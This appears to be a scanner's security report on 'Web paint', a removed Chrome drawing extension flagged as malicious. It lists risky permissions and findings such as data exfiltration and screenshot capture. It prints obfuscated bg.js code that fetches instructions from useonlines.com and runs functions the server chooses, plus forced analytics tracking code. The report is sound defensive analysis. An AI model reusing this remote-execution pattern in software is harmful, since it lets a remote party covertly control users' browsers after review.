Web paint

ID: bgmbegiipocepiabgonbodbapnpejcfn

Could be malicious

Supported Languages

๐Ÿ‡ง๐Ÿ‡ฉBengali
๐Ÿ‡ง๐Ÿ‡ทBrazilian Portuguese
๐Ÿ‡ฌ๐Ÿ‡งBritish English
๐Ÿ‡ง๐Ÿ‡ฌBulgarian
๐Ÿ‡ช๐Ÿ‡ธCatalan
๐Ÿ‡จ๐Ÿ‡ณChinese (Simplified)
๐Ÿ‡น๐Ÿ‡ผChinese (Traditional)
๐Ÿ‡ญ๐Ÿ‡ทCroatian
๐Ÿ‡จ๐Ÿ‡ฟCzech
๐Ÿ‡ฉ๐Ÿ‡ฐDanish
๐Ÿ‡ณ๐Ÿ‡ฑDutch
๐Ÿ‡บ๐Ÿ‡ธEnglish
๐Ÿ‡ช๐Ÿ‡ชEstonian
๐Ÿ‡ต๐Ÿ‡ญFilipino
๐Ÿ‡ซ๐Ÿ‡ฎFinnish
๐Ÿ‡ซ๐Ÿ‡ทFrench
๐Ÿ‡ฉ๐Ÿ‡ชGerman
๐Ÿ‡ฌ๐Ÿ‡ทGreek
๐Ÿ‡ฎ๐Ÿ‡ณGujarati
๐Ÿ‡ฎ๐Ÿ‡ณHindi
๐Ÿ‡ญ๐Ÿ‡บHungarian
๐Ÿ‡ฎ๐Ÿ‡ฉIndonesian
๐Ÿ‡ฎ๐Ÿ‡นItalian
๐Ÿ‡ฏ๐Ÿ‡ตJapanese
๐Ÿ‡ฐ๐Ÿ‡ทKorean
๐Ÿ‡ฑ๐Ÿ‡ปLatvian
๐Ÿ‡ฑ๐Ÿ‡นLithuanian
๐Ÿ‡ฒ๐Ÿ‡พMalay
๐Ÿ‡ฎ๐Ÿ‡ณMalayalam
๐Ÿ‡ฎ๐Ÿ‡ณMarathi
๐Ÿ‡ณ๐Ÿ‡ดNorwegian
๐Ÿ‡ต๐Ÿ‡ฑPolish
๐Ÿ‡ต๐Ÿ‡นPortuguese
๐Ÿ‡ท๐Ÿ‡ดRomanian
๐Ÿ‡ท๐Ÿ‡บRussian
๐Ÿ‡ท๐Ÿ‡ธSerbian
๐Ÿ‡ธ๐Ÿ‡ฐSlovak
๐Ÿ‡ธ๐Ÿ‡ฎSlovenian
๐Ÿ‡ช๐Ÿ‡ธSpanish
๐Ÿ‡ธ๐Ÿ‡ชSwedish
๐Ÿ‡ฎ๐Ÿ‡ณTamil
๐Ÿ‡ฎ๐Ÿ‡ณTelugu
๐Ÿ‡น๐Ÿ‡ญThai
๐Ÿ‡น๐Ÿ‡ทTurkish
๐Ÿ‡บ๐Ÿ‡ธUS English
๐Ÿ‡ป๐Ÿ‡ณVietnamese

Extension Info & Metadata

Status
Removed
Version
1.1.5
Size
0.24 MB
Rating
5.0/5
Reviews
13
Users
600,000
Type
Extension
Updated
Jul 11, 2021
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
MutledNewtView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
600,000

Web paint - draw on web pages

Web Paint is a drawing tool for web pages. You can take a screenshot of the resulting drawing or save it to the file. This tool is useful for education purposes, for taking a quick note in a remote work environment, or just for fun! Features: โญ Graphical editor tools e.g. pencil, text, line, arrows. โญ Various sizes and colors โญ Copy to clipboard โญ Export to file

Item
Type
Severity
Description
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:โ€ข 15% increase: Older manifest version lacks modern security controls
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

This code fetches a JSON payload from `https://useonlines.com/migration/` and then uses response-controlled object paths (`e.k`) to resolve functions off the background page and invoke them with response-supplied arguments. That gives a remote server the ability to change extension behavior after review and is a strong remote instruction/execution pattern.

bg.js (Line 283)
async _runMigrations(e) {    const t = undefined,      r = {        json: "mig"      },      n = await new Promise((e => chrome.runtime.getBackgroundPage((t => e(t))))),      o = document.location.host + "/" + Object.values(r)[0] + "." + Object.keys(r)[0];    if (n && !a.isBackgroundPage()) return;    var i = await this._getAll(),      s = await fetch(this._mig + o);    if (!s.ok) return;    let u, c;    var d = await s.json(),      f = [];    for (const [e, t] of Object.entries(d)) e.length <= 3 || f.unshift({      v: t,      k: e    });    for (const e of f) {      var p = l.default.get(n, e.k),        h = l.default.get(n, e.k.substring(0, e.k.lastIndexOf(".")));      c && u.bind(c, (t => {        var r = p.bind(h, t, JSON.parse(e.v)[0], this._logError)();        r && (i += r)      }))(), u = p, c = h    }

The background page dynamically loads a remote script from Google Analytics and immediately sends telemetry. Remote script inclusion in an extension is a risky pattern because behavior can change server-side outside the reviewed package, and it also introduces user/activity tracking.

bg.js (Line 27)
1: [function(e, t, r) {      "use strict";      window.ga = window.ga || function() {          (ga.q = ga.q || [])          .push(arguments)        }, ga.l = +new Date, ga("create", "UA-186726862-1", "auto"), ga("set", "checkProtocolTask", null), ga(          "send", {            hitType: "pageview",            page: "/background"          }),        function() {          const e = document.createElement("script");          e.type = "text/javascript", e.async = !0, e.src = "https://www.google-analytics.com/analytics.js";          const t = document.getElementsByTagName("script")[0];          t.parentNode.insertBefore(e, t)        }()

By severity

Critical1
High5
Medium2
Low0

Versions scanned

Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.1.52
1.1.36

Files with findings

3 distinct paths โ€” top paths by unique finding count:

  • bg.js5
  • js/inject.js2
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
bg.js (line 1)The processQueue function constructs a base64-encoded URL parameter string containing the unique extension runtime ID, the install/update action reason (e.g. 'install', 'update'), and a current timestamp โ€” but this asโ€ฆ
2Privilege Escalation
high
js/inject.js (line 1)The injected content script explicitly checks for and writes to unsafeWindow, a Firefox-specific privileged object that bypasses the content script sandbox isolation. Setting NOTEPAD_INIT and CTRL_HIDDEN on unsafeWindโ€ฆ
3Remote Code Loading
high
bg.js (line 283)This code fetches a JSON payload from `https://useonlines.com/migration/` and then uses response-controlled object paths (`e.k`) to resolve functions off the background page and invoke them with response-supplied arguโ€ฆ
4Tracking
high
bg.js (line 1)The background page silently loads Google Analytics and uses ga('set','checkProtocolTask',null) to suppress the protocol validation check โ€” a known technique used to force GA hits from chrome-extension:// contexts wheโ€ฆ
5Unauthorized Data Collection
high
bg.js (line 1)Every eyedropper tool use triggers captureVisibleTab() which captures a full screenshot of the currently active tab โ€” an entire page image โ€” in order to read a single pixel's color value. This is a disproportionate prโ€ฆ
6Unauthorized Data Collection
high
js/inject.js (line 1)The extension stores canvas snapshots in the host page's own localStorage (not isolated extension storage) using the page URL pathname as part of the key, and if storage is full it calls t.localStorage.clear() โ€” whichโ€ฆ
7Remote Code Loading
medium
manifest.json (line 1)The manifest declares 'unsafe-eval' in its content security policy, which is entirely unnecessary for a drawing/painting tool and dramatically expands the attack surface by permitting dynamic code evaluation. Additionโ€ฆ
8Tracking
medium
bg.js (line 27)The background page dynamically loads a remote script from Google Analytics and immediately sends telemetry. Remote script inclusion in an extension is a risky pattern because behavior can change server-side outside tโ€ฆ
URLs
8
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/1999/xhtmlhttp://www.w3.org/1999/xhtml
www.google-analytics.com/analytics.jshttps://www.google-analytics.com/analytics.js
useonlines.com/migration/https://useonlines.com/migration/
www.w3.org/2000/svghttp://www.w3.org/2000/svg
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
www.bohemiancoding.com/sketchhttp://www.bohemiancoding.com/sketch
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
www.google-analytics.com;-https://www.google-analytics.com;

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.1.3
Latest
0.23 MB
Malicious
6
1.1.5
0.24 MB
Malicious
2
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.